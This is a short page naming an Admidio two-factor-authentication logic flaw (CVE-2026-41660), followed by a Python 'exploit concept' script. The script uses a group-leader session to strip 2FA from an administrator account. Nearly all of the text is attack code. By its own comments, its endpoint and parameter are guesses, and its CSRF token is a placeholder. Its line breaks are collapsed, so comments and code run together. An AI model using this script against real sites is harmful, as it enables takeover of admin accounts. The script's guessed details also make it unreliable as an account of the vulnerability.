CVE-2026-41660 Admidio双重认证逻辑错误漏洞

import requests # Exploit concept for CVE-2026-41660 # Description: Removes 2FA from an admin account using a low-privilege group leader account. def exploit(target_url, attacker_session, admin_user_id): """ attacker_session: requests.Session object of a 'Group Leader' with profile edit rights on the admin. admin_user_id: The ID of the target admin user. """ # 1. Get the CSRF token from the profile edit page or preferences page profile_url = f"{target_url}/adm_program/modules/profile/profile.php" params = {'user_id': admin_user_id} response = attacker_session.get(profile_url, params=params) # Note: In a real scenario, parse the CSRF token from HTML response # csrf_token = parse_csrf(response.text) csrf_token = "extracted_csrf_token_value" # 2. Send request to remove 2FA # The endpoint might be something like /adm_program/modules/preferences/preferences_function.php # based on Admidio structure. remove_2fa_url = f"{target_url}/adm_program/modules/preferences/preferences_function.php" payload = { 'user_id': admin_user_id, 'mode': 'remove_2fa', # Hypothetical parameter for the specific action 'csrf_token': csrf_token } # 3. Execute the attack # Due to the logic error, the server checks if the attacker can edit the profile, # but fails to check if the attacker is allowed to change 2FA settings specifically. response = attacker_session.post(remove_2fa_url, data=payload) if response.status_code == 200 and "success" in response.text: print(f"[+] Successfully removed 2FA for Admin ID: {admin_user_id}") else: print("[-] Exploit failed or already patched.") # Usage example (requires valid session) # s = requests.Session() # s.post("http://target/adm_program/system/login.php", data={'login': 'leader', 'password': 'pass'}) # exploit("http://target/adm_program", s, 1)